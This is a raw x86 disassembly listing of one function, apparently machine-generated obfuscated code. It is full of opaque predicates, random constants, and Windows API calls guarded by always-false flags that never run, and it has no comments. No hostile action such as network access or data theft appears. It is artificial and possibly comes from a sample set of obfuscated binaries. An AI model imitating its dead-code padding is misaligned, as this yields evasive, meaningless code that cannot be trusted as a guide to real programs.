mov dword [ebp - 0x2544], 8
mov dword [ebp - 0xf1c], 6
mov dword [ebp - 0xb88], 1
mov dword [ebp - 0x254c], 0xc914a3a6
mov byte [ebp - 0x3a5], 0
movzx eax, byte [ebp - 0x3a5]
test eax, eax
je 0x46f64b
push 0xc0a
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov eax, dword [ebp - 0x124]
cmp dword [ebp - 0x124], eax
jl 0x46f665
mov dword [ebp - 0xf0c], 1
jmp 0x46f66c
and dword [ebp - 0xf0c], 0
cmp dword [ebp - 0x124], 1
jg 0x46f681
mov dword [ebp - 0x1d2c], 1
jmp 0x46f688
and dword [ebp - 0x1d2c], 0
mov eax, dword [ebp - 0x1d2c]
mov dword [ebp - 0x62c], eax
mov eax, dword [ebp - 0x62c]
mov dword [ebp - 0x2dac], eax
mov eax, dword [ebp - 0x124]
imul eax, dword [ebp - 0x124]
cmp eax, dword [ebp - 0x124]
jne 0x46f6c1
mov dword [ebp - 0x253c], 1
jmp 0x46f6c8
and dword [ebp - 0x253c], 0
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x2db4], eax
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x2dbc], eax
cmp dword [ebp - 0xf0c], 0xffffffff
jl 0x46f6f5
mov dword [ebp - 0x1d34], 1
jmp 0x46f6fc
and dword [ebp - 0x1d34], 0
cmp dword [ebp - 0x1d34], 0xdd93ba6a
jbe 0x46f714
mov dword [ebp - 0xf14], 1
jmp 0x46f71b
and dword [ebp - 0xf14], 0
mov eax, dword [ebp - 0xf14]
sub eax, dword [ebp - 0x124]
cmp eax, dword [ebp - 0x124]
jne 0x46f736
cmp dword [ebp - 0x62c], 0
mov eax, dword [ebp - 0x62c]
add eax, dword [ebp - 0x2544]
cmp eax, 1
jle 0x46f75c
cmp dword [ebp - 0x62c], 0
je 0x46f75c
mov dword [ebp - 0x1d3c], 1
jmp 0x46f763
and dword [ebp - 0x1d3c], 0
mov eax, dword [ebp - 0x1d3c]
mov dword [ebp - 0xf1c], eax
mov eax, dword [ebp - 0xf1c]
mov dword [ebp - 0xb88], eax
cmp dword [ebp - 0xb88], 0
je 0x46f799
cmp dword [ebp - 0xb88], 0
je 0x46f799
mov dword [ebp - 0x1d44], 1
jmp 0x46f7a0
and dword [ebp - 0x1d44], 0
mov eax, dword [ebp - 0x1d44]
mov dword [ebp - 0x254c], eax
push 1
lea eax, [ebp - 0x35ac]
push eax
xor edx, edx
inc edx
xor ecx, ecx
call fcn.004681cf
pop ecx
pop ecx
mov esi, eax
lea edi, [ebp - 0x3404]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
lea esi, [ebp - 0x3404]
lea edi, [ebp - 0x2744]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x8fc], 0
jmp 0x46f7f4
mov eax, dword [ebp - 0x8fc]
inc eax
mov dword [ebp - 0x8fc], eax
cmp dword [ebp - 0x8fc], 2
jge 0x46f810
mov eax, dword [ebp - 0x8fc]
mov dword [ebp + eax*4 - 0x3560], 0xfffffff8
jmp 0x46f7e7
mov byte [ebp - 0x27f], 0
movzx eax, byte [ebp - 0x27f]
test eax, eax
je 0x46f833
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowRgn]
mov byte [ebp - 0x3eb], 0
movzx eax, byte [ebp - 0x3eb]
test eax, eax
je 0x46f854
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ClientToScreen]
mov dword [ebp - 0x234], 8
mov dword [ebp - 0x2dc4], 0xffffffff
mov dword [ebp - 0x2dcc], 0
mov dword [ebp - 0x2dd4], 0xa4ccfd66
mov dword [ebp - 0x2ddc], 0
mov dword [ebp - 0x2de4], 1
mov dword [ebp - 0x2dec], 0x906d8bc0
mov dword [ebp - 0x2df4], 0x52a28486
mov dword [ebp - 0x2dfc], 0x1434a938
mov dword [ebp - 0x2e04], 0
mov dword [ebp - 0xf24], 0xffffffff
mov dword [ebp - 0x744], 0
jmp 0x46f8db
mov eax, dword [ebp - 0x744]
inc eax
mov dword [ebp - 0x744], eax
cmp dword [ebp - 0x744], 3
jge 0x46f8f7
mov eax, dword [ebp - 0x744]
mov dword [ebp + eax*4 - 0x33d4], 0
jmp 0x46f8ce
mov dword [ebp - 0x234], 0
jmp 0x46f910
mov eax, dword [ebp - 0x234]
inc eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 2
jg 0x46f93f
mov byte [ebp - 0x281], 0
movzx eax, byte [ebp - 0x281]
test eax, eax
je 0x46f93d
push 0x1e5b
push 0x1489
push 0
call dword [sym.imp.USER32.dll_RemoveMenu]
jmp 0x46f903
mov dword [ebp - 0x234], 0
jmp 0x46f958
mov eax, dword [ebp - 0x234]
inc eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 2
jg 0x46fa71
mov dword [ebp - 0x904], 1
mov dword [ebp - 0x2e0c], 1
mov dword [ebp - 0x2e14], 1
mov dword [ebp - 0x2e1c], 0x1637c1d6
mov dword [ebp - 0x2e24], 0xa17d0b0a
mov dword [ebp - 0x2e2c], 0
mov dword [ebp - 0x2e34], 0xffffffff
mov dword [ebp - 0x2e3c], 0x8dda
mov dword [ebp - 0x2e44], 0x39e22401
mov dword [ebp - 0x32d8], 0xfffffff7
mov dword [ebp - 0x32d4], 0xfffffff7
mov dword [ebp - 0x32d0], 0xfffffff7
mov dword [ebp - 0x32cc], 0xfffffff7
mov dword [ebp - 0x904], 0
jmp 0x46fa00
mov eax, dword [ebp - 0x904]
inc eax
mov dword [ebp - 0x904], eax
cmp dword [ebp - 0x904], 2
jg 0x46fa5f
mov dword [ebp - 0x54c], 1
mov dword [ebp - 0x54c], 0
jmp 0x46fa2c
mov eax, dword [ebp - 0x54c]
inc eax
mov dword [ebp - 0x54c], eax
cmp dword [ebp - 0x54c], 2
jg 0x46fa5d
mov dword [ebp - 0x2554], 0x95031536
mov eax, dword [ebp - 0x54c]
cmp dword [ebp + eax*4 - 0x33d4], 0
je 0x46fa51
jmp 0x46fa5d
mov dword [ebp - 0x2554], 0xffffffff
jmp 0x46fa1f
jmp 0x46f9f3
mov eax, dword [ebp - 0xf24]
inc eax
mov dword [ebp - 0xf24], eax
jmp 0x46f94b
mov dword [ebp - 0x74c], 1
mov dword [ebp - 0x74c], 3
jmp 0x46fa94
mov eax, dword [ebp - 0x74c]
dec eax
mov dword [ebp - 0x74c], eax
cmp dword [ebp - 0x74c], 0xfffffff1
jg 0x46fbf5
mov dword [ebp - 0x90c], 1
mov byte [ebp - 0x3ad], 0
movzx eax, byte [ebp - 0x3ad]
test eax, eax
je 0x46fac5
push 0
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
mov dword [ebp - 0x90c], 0xfffffff9
jmp 0x46fade
mov eax, dword [ebp - 0x90c]
inc eax
mov dword [ebp - 0x90c], eax
cmp dword [ebp - 0x90c], 4
jle 0x46fbf0
mov dword [ebp - 0x554], 0xb363f9e9
mov dword [ebp - 0x754], 0
jmp 0x46fb0e
mov eax, dword [ebp - 0x754]
inc eax
mov dword [ebp - 0x754], eax
cmp dword [ebp - 0x754], 2
jge 0x46fb2a
mov eax, dword [ebp - 0x754]
mov dword [ebp + eax*4 - 0x2878], 0xd37
jmp 0x46fb01
mov dword [ebp - 0x554], 0
jmp 0x46fb43
mov eax, dword [ebp - 0x554]
inc eax
mov dword [ebp - 0x554], eax
cmp dword [ebp - 0x554], 1
jg 0x46fbeb
mov dword [ebp - 0x914], 0
jmp 0x46fb69
mov eax, dword [ebp - 0x914]
inc eax
mov dword [ebp - 0x914], eax
cmp dword [ebp - 0x914], 1
jge 0x46fb85
mov eax, dword [ebp - 0x914]
mov dword [ebp + eax*4 - 0x5e4], 6
jmp 0x46fb5c
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x5e4], 1
jmp 0x46fbb3
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5e4]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x5e4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x5e4], 0
jl 0x46fbe6
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x5e4]
mov ecx, dword [ebp - 0x554]
mov eax, dword [ebp + eax*4 - 0x2878]
mov dword [ebp + ecx*4 - 0x2878], eax
jmp 0x46fb98
jmp 0x46fb36
jmp 0x46fad1
jmp 0x46fa87
mov dword [ebp - 0xc4], 0x90ac204e
push 3
lea ecx, [ebp - 0x2058]
call fcn.00430131
mov dword [ebp - 0x2e4], 0x394643cd
mov dword [ebp - 0x28ec], 0x16488a
mov dword [ebp - 0x28e8], 0x16488a
mov dword [ebp - 0x28e4], 0x16488a
mov dword [ebp - 0x28e0], 0x16488a
lea ecx, [ebp - 0xbc1]
call fcn.0043022e
push eax
lea eax, [ebp - 0x28dc]
push eax
lea eax, [ebp - 0x28ec]
push eax
lea ecx, [ebp - 0x3570]
call fcn.00430231
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x33ec]
call fcn.004301dd
mov dword [ebp - 0xf54], 0xb45b
mov dword [ebp - 0x75c], 0
jmp 0x46fc96
mov eax, dword [ebp - 0x75c]
inc eax
mov dword [ebp - 0x75c], eax
cmp dword [ebp - 0x75c], 3
jge 0x46fcb8
push dword [ebp - 0x75c]
lea ecx, [ebp - 0x2058]
call fcn.0043021f
mov dword [eax], 0xfffffffd
jmp 0x46fc89
mov dword [ebp - 0x2e4], 0
jmp 0x46fcd1
mov eax, dword [ebp - 0x2e4]
inc eax
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0x2e4], 2
jg 0x46fee6
mov dword [ebp - 0x1d6c], 0
mov dword [ebp - 0xf34], 0xa1650187
mov dword [ebp - 0x255c], 0x84255ebd
mov dword [ebp - 0x91c], 0
jmp 0x46fd15
mov eax, dword [ebp - 0x91c]
inc eax
mov dword [ebp - 0x91c], eax
cmp dword [ebp - 0x91c], 3
jge 0x46fd31
mov eax, dword [ebp - 0x91c]
mov dword [ebp + eax*4 - 0x3434], 5
jmp 0x46fd08
mov byte [ebp - 0x283], 0
movzx eax, byte [ebp - 0x283]
test eax, eax
je 0x46fd52
push 0
push 0x1283
push 0
call dword [sym.imp.GDI32.dll_GetMetaFileBitsEx]
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x3434], 0xfffffff6
push 2
lea ecx, [ebp - 0x2058]
call fcn.0043021f
cmp dword [eax], 0xfffffff6
je 0x46fd81
mov dword [ebp - 0x1d4c], 1
jmp 0x46fd88
and dword [ebp - 0x1d4c], 0
cmp dword [ebp - 0x1d4c], 7
jge 0x46fd9d
mov dword [ebp - 0xf2c], 1
jmp 0x46fda4
and dword [ebp - 0xf2c], 0
cmp dword [ebp - 0xf2c], 0
jb 0x46fdb9
mov dword [ebp - 0x1d54], 1
jmp 0x46fdc0
and dword [ebp - 0x1d54], 0
mov eax, dword [ebp - 0x1d54]
mov dword [ebp - 0xf34], eax
mov esi, dword [ebp - 0xf34]
push 1
lea ecx, [ebp - 0x2058]
call fcn.0043021f
add esi, dword [eax]
je 0x46fe01
push 0
lea ecx, [ebp - 0x2058]
call fcn.0043021f
cmp dword [eax], 0
je 0x46fe01
mov dword [ebp - 0x1d5c], 1
jmp 0x46fe08
and dword [ebp - 0x1d5c], 0
mov eax, 0xb2bc
sub eax, dword [ebp - 0x1d5c]
cmp eax, 0x2337
je 0x46fe26
mov dword [ebp - 0xf3c], 1
jmp 0x46fe2d
and dword [ebp - 0xf3c], 0
mov eax, dword [ebp - 0x2e4]
cmp dword [ebp - 0xf3c], eax
jne 0x46fe47
mov dword [ebp - 0x1d64], 1
jmp 0x46fe4e
and dword [ebp - 0x1d64], 0
push dword [ebp - 0x2e4]
lea ecx, [ebp - 0x2058]
call fcn.0043021f
mov ecx, dword [ebp - 0x1d64]
cmp ecx, dword [eax]
jg 0x46fe75
mov dword [ebp - 0xf44], 1
jmp 0x46fe7c
and dword [ebp - 0xf44], 0
push dword [ebp - 0x2e4]
lea ecx, [ebp - 0x2058]
call fcn.0043021f
mov eax, dword [eax]
cmp eax, dword [ebp - 0xf44]
jne 0x46fea3
mov dword [ebp - 0xf4c], 1
jmp 0x46feaa
and dword [ebp - 0xf4c], 0
mov dword [ebp - 0x1d6c], 0xfffffffc
mov eax, dword [ebp - 0x1d6c]
cmp eax, dword [ebp - 0xf4c]
jne 0x46fece
mov dword [ebp - 0x1d74], 1
jmp 0x46fed5
and dword [ebp - 0x1d74], 0
mov eax, dword [ebp - 0x1d74]
mov dword [ebp - 0x255c], eax
jmp 0x46fcc4
mov eax, dword [ebp - 0xf54]
inc eax
mov dword [ebp - 0xf54], eax
lea ecx, [ebp - 0x33ec]
call fcn.00430203
lea ecx, [ebp - 0x2058]
call fcn.00430203
mov dword [ebp - 0xadc], 0x4a520274
push 2
lea ecx, [ebp - 0x2968]
call fcn.00430131
mov dword [ebp - 0x2e4c], 1
mov dword [ebp - 0x1f0], 0
jmp 0x46ff43
mov eax, dword [ebp - 0x1f0]
inc eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 2
jge 0x46ff62
push dword [ebp - 0x1f0]
lea ecx, [ebp - 0x2968]
call fcn.0043021f
and dword [eax], 0
jmp 0x46ff36
mov dword [ebp - 0x1f0], 0
jmp 0x46ff7b
mov eax, dword [ebp - 0x1f0]
inc eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 1
jge 0x46ff97
mov eax, dword [ebp - 0x1f0]
mov dword [ebp + eax*4 - 0x64c], 0x64b5f5c1
jmp 0x46ff6e
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x64c], 0
jmp 0x46ffc5
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x64c]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x64c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x64c], 2
jge 0x46fff5
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x64c]
lea ecx, [ebp - 0x2968]
call fcn.0043021f
mov dword [eax], 6
jmp 0x46ffaa
lea ecx, [ebp - 0x2968]
call fcn.00430203
mov dword [ebp - 0x764], 0xffffffff
mov dword [ebp - 0x764], 3
jmp 0x470023
mov eax, dword [ebp - 0x764]
inc eax
mov dword [ebp - 0x764], eax
cmp dword [ebp - 0x764], 0x19
jg 0x470060
mov byte [ebp - 0x3ed], 0
movzx eax, byte [ebp - 0x3ed]
test eax, eax
je 0x470046
push 0
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov byte [ebp - 0x285], 0
movzx eax, byte [ebp - 0x285]
test eax, eax
je 0x47005e
call dword [sym.imp.KERNEL32.dll_GetACP]
jmp 0x470016
mov dword [ebp - 0x65c], 0x2cc9105f
mov dword [ebp - 0xdc], 0x69fdf99f
mov dword [ebp - 0x2574], 0x2aa787d3
mov dword [ebp - 0xdc], 0
jmp 0x470097
mov eax, dword [ebp - 0xdc]
inc eax
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xdc], 8
jne 0x4707a2
push 2
lea ecx, [ebp - 0x680]
call fcn.00430131
mov dword [ebp - 0x28], 0xffffffff
push 2
lea ecx, [ebp - 0x25ac]
call fcn.00430131
mov dword [ebp - 0xfb4], 0xffffffff
mov dword [ebp - 0x50], 0
jmp 0x4700df
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 2
jge 0x4700fb
push dword [ebp - 0x50]
lea ecx, [ebp - 0x680]
call fcn.0043021f
mov dword [eax], 3
jmp 0x4700d8
mov dword [ebp - 0x50], 0
jmp 0x47010b
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 2
jge 0x470127
push dword [ebp - 0x50]
lea ecx, [ebp - 0x25ac]
call fcn.0043021f
mov dword [eax], 0xe9e5a939
jmp 0x470104
mov dword [ebp - 0x50], 0
jmp 0x470137
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 3
jge 0x47014d
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x30f0], 0xa8d6e859
jmp 0x470130
mov dword [ebp - 0x28], 0
jmp 0x47015d
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jge 0x470179
push dword [ebp - 0x28]
lea ecx, [ebp - 0x680]
call fcn.0043021f
mov dword [eax], 0xfff6
jmp 0x470156
mov dword [ebp - 0x28], 0
jmp 0x470189
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 1
jg 0x470787
mov dword [ebp - 0x55c], 0x8dcfd8f2
mov dword [ebp - 0x924], 0
jmp 0x4701b6
mov eax, dword [ebp - 0x924]
inc eax
mov dword [ebp - 0x924], eax
cmp dword [ebp - 0x924], 1
jge 0x4701d2
mov eax, dword [ebp - 0x924]
mov dword [ebp + eax*4 - 0x564], 0
jmp 0x4701a9
push dword [ebp - 0x28]
lea ecx, [ebp - 0x680]
call fcn.0043021f
cmp dword [eax], 0
je 0x4704f2
mov dword [ebp - 0x174], 1
mov dword [ebp - 0x174], 0
jmp 0x47020c
cmp dword [ebp - 0x174], 1
jg 0x4704ed
mov dword [ebp - 0x2564], 5
push dword [ebp - 0x28]
lea ecx, [ebp - 0x680]
call fcn.0043021f
mov esi, eax
push dword [ebp - 0x174]
lea ecx, [ebp - 0x680]
call fcn.0043021f
mov ecx, dword [esi]
add ecx, dword [eax]
jne 0x470259
cmp dword [ebp - 0x28], 0
jne 0x470259
and dword [ebp - 0x1d7c], 0
jmp 0x470263
mov dword [ebp - 0x1d7c], 1
cmp dword [ebp - 0x1d7c], 0x891b
jg 0x47027b
mov dword [ebp - 0xf5c], 1
jmp 0x470282
and dword [ebp - 0xf5c], 0
cmp dword [ebp - 0xf5c], 0x278
jne 0x47029a
mov dword [ebp - 0x1d84], 1
jmp 0x4702a1
and dword [ebp - 0x1d84], 0
mov esi, dword [ebp - 0xdc]
push dword [ebp - 0x174]
lea ecx, [ebp - 0x680]
call fcn.0043021f
sub esi, dword [eax]
mov eax, dword [ebp - 0x1d84]
sub eax, dword [ebp - 0x2564]
imul eax, eax, 0xfffffffa
cmp esi, eax
jle 0x4702d9
mov dword [ebp - 0xf64], 1
jmp 0x4702e0
and dword [ebp - 0xf64], 0
mov eax, dword [ebp - 0xf64]
mov dword [ebp - 0x55c], eax
mov eax, dword [ebp - 0x174]
cmp dword [ebp - 0x55c], eax
jne 0x470306
mov dword [ebp - 0xaac], 1
jmp 0x47030d
and dword [ebp - 0xaac], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xaac]
mov dword [ebp + eax - 0x564], ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0x680]
call fcn.0043021f
mov ecx, dword [ebp - 0xaac]
cmp ecx, dword [eax]
jl 0x470344
mov dword [ebp - 0xc20], 1
jmp 0x47034b
and dword [ebp - 0xc20], 0
push 1
lea ecx, [ebp - 0x25ac]
call fcn.0043021f
mov ecx, dword [ebp - 0xc20]
mov dword [eax], ecx
cmp dword [ebp - 0xc20], 0
je 0x470388
push dword [ebp - 0x28]
lea ecx, [ebp - 0x680]
call fcn.0043021f
cmp dword [eax], 0
je 0x470388
mov dword [ebp - 0x1d8c], 1
jmp 0x47038f
and dword [ebp - 0x1d8c], 0
push dword [ebp - 0x174]
lea ecx, [ebp - 0x680]
call fcn.0043021f
mov ecx, dword [ebp - 0xdc]
mov edx, dword [ebp - 0xdc]
imul edx, dword [ebp - 0x1d8c]
add edx, dword [ebp - 0xdc]
add ecx, edx
cmp dword [eax], ecx
jle 0x4704c0
mov dword [ebp - 0x256c], 0x74c3eec7
push dword [ebp - 0x174]
lea ecx, [ebp - 0x680]
call fcn.0043021f
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x30f0], 0xbe495ee3
jb 0x4703fd
mov dword [ebp - 0xf6c], 1
jmp 0x470404
and dword [ebp - 0xf6c], 0
push 1
lea ecx, [ebp - 0x25ac]
call fcn.0043021f
mov ecx, dword [ebp - 0xf6c]
add ecx, dword [eax]
je 0x47042d
mov byte [ebp - 0x3b5], 0
movzx eax, byte [ebp - 0x3b5]
test eax, eax
je 0x4704e8
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectClipRgn]
jmp 0x4701ff
jmp 0x470775
mov dword [ebp - 0x5ec], 1
mov dword [ebp - 0x1dc4], 8
imul eax, dword [ebp - 0x55c], 0xfffc
test eax, eax
jne 0x47067f
push 4
pop eax
imul eax, eax, 0
imul esi, dword [ebp + eax - 0x564], 0xed41
push 0
lea ecx, [ebp - 0x680]
call fcn.0043021f
cmp esi, dword [eax]
jl 0x470555
push 0
lea ecx, [ebp - 0x680]
call fcn.0043021f
cmp dword [eax], 0
jne 0x470555
and dword [ebp - 0xf84], 0
jmp 0x47055f
mov dword [ebp - 0xf84], 1
cmp dword [ebp - 0xf84], 0x229b
je 0x470577
mov dword [ebp - 0x1dac], 1
jmp 0x47057e
and dword [ebp - 0x1dac], 0
cmp dword [ebp - 0x1dac], 0xffffffff
jb 0x470593
mov dword [ebp - 0xf8c], 1
jmp 0x47059a
and dword [ebp - 0xf8c], 0
cmp dword [ebp - 0xf8c], 0x4b507774
jle 0x4705b2
mov dword [ebp - 0x1db4], 1
jmp 0x4705b9
and dword [ebp - 0x1db4], 0
mov eax, dword [ebp - 0x1db4]
sub eax, dword [ebp - 0x5ec]
sub eax, 0x28c2
cmp eax, dword [ebp - 0xdc]
jg 0x4705de
mov dword [ebp - 0xf94], 1
jmp 0x4705e5
and dword [ebp - 0xf94], 0
mov eax, dword [ebp - 0xdc]
cmp dword [ebp - 0xf94], eax
je 0x4705ff
mov dword [ebp - 0x1dbc], 1
jmp 0x470606
and dword [ebp - 0x1dbc], 0
push 0
lea ecx, [ebp - 0x25ac]
call fcn.0043021f
mov dword [eax], 1
mov eax, dword [ebp - 0x5ec]
imul eax, dword [ebp - 0x1dbc]
add eax, dword [ebp - 0x28]
xor ecx, ecx
inc ecx
sub ecx, eax
push 4
pop eax
imul eax, eax, 0
imul ecx, dword [ebp + eax - 0x30f0]
test ecx, ecx
jne 0x470652
mov eax, 0xc02ee360
test eax, eax
jne 0x470652
and dword [ebp - 0xf9c], 0
jmp 0x47065c
mov dword [ebp - 0xf9c], 1
mov eax, dword [ebp - 0xf9c]
mov dword [ebp - 0x1dc4], eax
mov eax, dword [ebp - 0x5ec]
cmp dword [ebp - 0x1dc4], eax
je 0x47067f
and dword [ebp - 0x257c], 0
jmp 0x470689
mov dword [ebp - 0x257c], 1
push dword [ebp - 0x28]
lea ecx, [ebp - 0x680]
call fcn.0043021f
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x564], 0
je 0x4706bc
cmp dword [ebp - 0x5ec], 0
je 0x4706bc
mov dword [ebp - 0xfa4], 1
jmp 0x4706c3
and dword [ebp - 0xfa4], 0
push 1
lea ecx, [ebp - 0x680]
call fcn.0043021f
mov eax, dword [eax]
cmp eax, dword [ebp - 0xfa4]
jle 0x4706e6
mov dword [ebp - 0x1dcc], 1
jmp 0x4706ed
and dword [ebp - 0x1dcc], 0
cmp dword [ebp - 0x1dcc], 0xea3adeb0
je 0x470705
mov dword [ebp - 0xfac], 1
jmp 0x47070c
and dword [ebp - 0xfac], 0
imul eax, dword [ebp - 0xfac], 0x32a0
mov dword [ebp - 0x55c], eax
mov eax, dword [ebp - 0x55c]
sub eax, 0x7e2b
cmp eax, dword [ebp - 0x5ec]
jle 0x47073b
mov dword [ebp - 0x1dd4], 1
jmp 0x470742
and dword [ebp - 0x1dd4], 0
push 4
pop eax
imul eax, eax, 0
mov esi, dword [ebp - 0x1dd4]
sub esi, dword [ebp + eax - 0x564]
push 0
lea ecx, [ebp - 0x680]
call fcn.0043021f
imul esi, dword [eax]
imul eax, esi, 0
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x564], eax
mov eax, dword [ebp - 0xfb4]
inc eax
mov dword [ebp - 0xfb4], eax
jmp 0x470182
lea ecx, [ebp - 0x25ac]
call fcn.00430203
lea ecx, [ebp - 0x680]
call fcn.00430203
jmp 0x47008a
push 2
lea ecx, [ebp - 0x2858]
call fcn.00430131
mov dword [ebp - 0x254], 0x2cb13638
mov dword [ebp - 0x1dfc], 0x9d44
mov dword [ebp - 0x76c], 0
jmp 0x4707dc
mov eax, dword [ebp - 0x76c]
inc eax
mov dword [ebp - 0x76c], eax
cmp dword [ebp - 0x76c], 2
jge 0x4707f8
mov eax, dword [ebp - 0x76c]
mov dword [ebp + eax*4 - 0xcb4], 0x3342eb9
jmp 0x4707cf
mov dword [ebp - 0x254], 0
jmp 0x470811
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 1
jg 0x470a49
mov dword [ebp - 0x1ddc], 0x2906c902
mov dword [ebp - 0xb90], 0xd0a7084b
mov eax, dword [ebp - 0x254]
cmp dword [ebp + eax*4 - 0xcb4], 0
je 0x470864
mov byte [ebp - 0x287], 0
movzx eax, byte [ebp - 0x287]
test eax, eax
je 0x47085f
push 0x897
call dword [sym.imp.USER32.dll_GetSysColor]
jmp 0x470a37
push 3
lea ecx, [ebp - 0x2974]
call fcn.00430131
mov dword [ebp - 0xfcc], 0xfffffff8
mov dword [ebp - 0x92c], 0
jmp 0x470894
mov eax, dword [ebp - 0x92c]
inc eax
mov dword [ebp - 0x92c], eax
cmp dword [ebp - 0x92c], 3
jge 0x4708b6
push dword [ebp - 0x92c]
lea ecx, [ebp - 0x2974]
call fcn.0043021f
mov dword [eax], 0x69f4981f
jmp 0x470887
push 0
lea ecx, [ebp - 0x2974]
call fcn.0043021f
mov dword [ebp - 0xab4], eax
mov eax, dword [ebp - 0xab4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xab4]
mov dword [ecx], eax
mov eax, dword [ebp - 0x254]
mov ecx, dword [ebp - 0xab4]
cmp eax, dword [ecx]
jne 0x4708f6
mov dword [ebp - 0x1de4], 1
jmp 0x4708fd
and dword [ebp - 0x1de4], 0
cmp dword [ebp - 0x1ddc], 0
jne 0x47090f
cmp dword [ebp - 0x1ddc], 0
je 0x47096f
mov eax, dword [ebp - 0x254]
mov eax, dword [ebp + eax*4 - 0xcb4]
mov dword [ebp - 0x2e54], eax
mov eax, dword [ebp - 0xfcc]
mov dword [ebp - 0x2e5c], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xcb4]
cmp dword [ebp - 0xb90], eax
jne 0x47094f
mov dword [ebp - 0xfbc], 1
jmp 0x470956
and dword [ebp - 0xfbc], 0
mov eax, dword [ebp - 0xfbc]
add eax, 0xcda7
je 0x47096f
mov dword [ebp - 0x2584], 1
jmp 0x470976
and dword [ebp - 0x2584], 0
mov eax, dword [ebp - 0xb90]
neg eax
jne 0x470999
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xcb4], 0
jne 0x470999
and dword [ebp - 0xfc4], 0
jmp 0x4709a3
mov dword [ebp - 0xfc4], 1
mov eax, dword [ebp - 0x1de4]
imul eax, dword [ebp - 0xfc4]
test eax, eax
jne 0x4709cd
mov eax, dword [ebp - 0x254]
cmp dword [ebp + eax*4 - 0xcb4], 0
jne 0x4709cd
and dword [ebp - 0x1dec], 0
jmp 0x4709d7
mov dword [ebp - 0x1dec], 1
mov eax, dword [ebp - 0xb90]
cmp dword [ebp - 0x1dec], eax
jge 0x4709f1
mov dword [ebp - 0x1df4], 1
jmp 0x4709f8
and dword [ebp - 0x1df4], 0
mov eax, dword [ebp - 0xfcc]
cmp dword [ebp - 0x1df4], eax
jl 0x470a12
mov dword [ebp - 0xfd4], 1
jmp 0x470a19
and dword [ebp - 0xfd4], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xfd4]
mov dword [ebp + eax - 0xcb4], ecx
lea ecx, [ebp - 0x2974]
call fcn.00430203
mov eax, dword [ebp - 0x1dfc]
dec eax
mov dword [ebp - 0x1dfc], eax
jmp 0x470804
mov byte [ebp - 0x3ef], 0
movzx eax, byte [ebp - 0x3ef]
test eax, eax
je 0x470a77
push 0x1aab
push 0xdd2
push 0x4e8
push 0xc6c
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
mov dword [ebp - 0x25c0], 0x77b6
mov dword [ebp - 0x934], 0xffffffff
mov dword [ebp - 0x774], 0
jmp 0x470aa4
mov eax, dword [ebp - 0x774]
inc eax
mov dword [ebp - 0x774], eax
cmp dword [ebp - 0x774], 3
jge 0x470ac0
mov eax, dword [ebp - 0x774]
mov dword [ebp + eax*4 - 0x341c], 0xfffffffe
jmp 0x470a97
mov dword [ebp - 0x934], 0
jmp 0x470ad9
mov eax, dword [ebp - 0x934]
dec eax
mov dword [ebp - 0x934], eax
cmp dword [ebp - 0x934], 0xfffffff7
jl 0x470dac
mov dword [ebp - 0x10c], 0xfffffff7
mov dword [ebp - 0x26a4], 1
mov dword [ebp - 0xabc], 0x2395e2de
mov dword [ebp - 0x1e04], 4
mov dword [ebp - 0x10c], 0
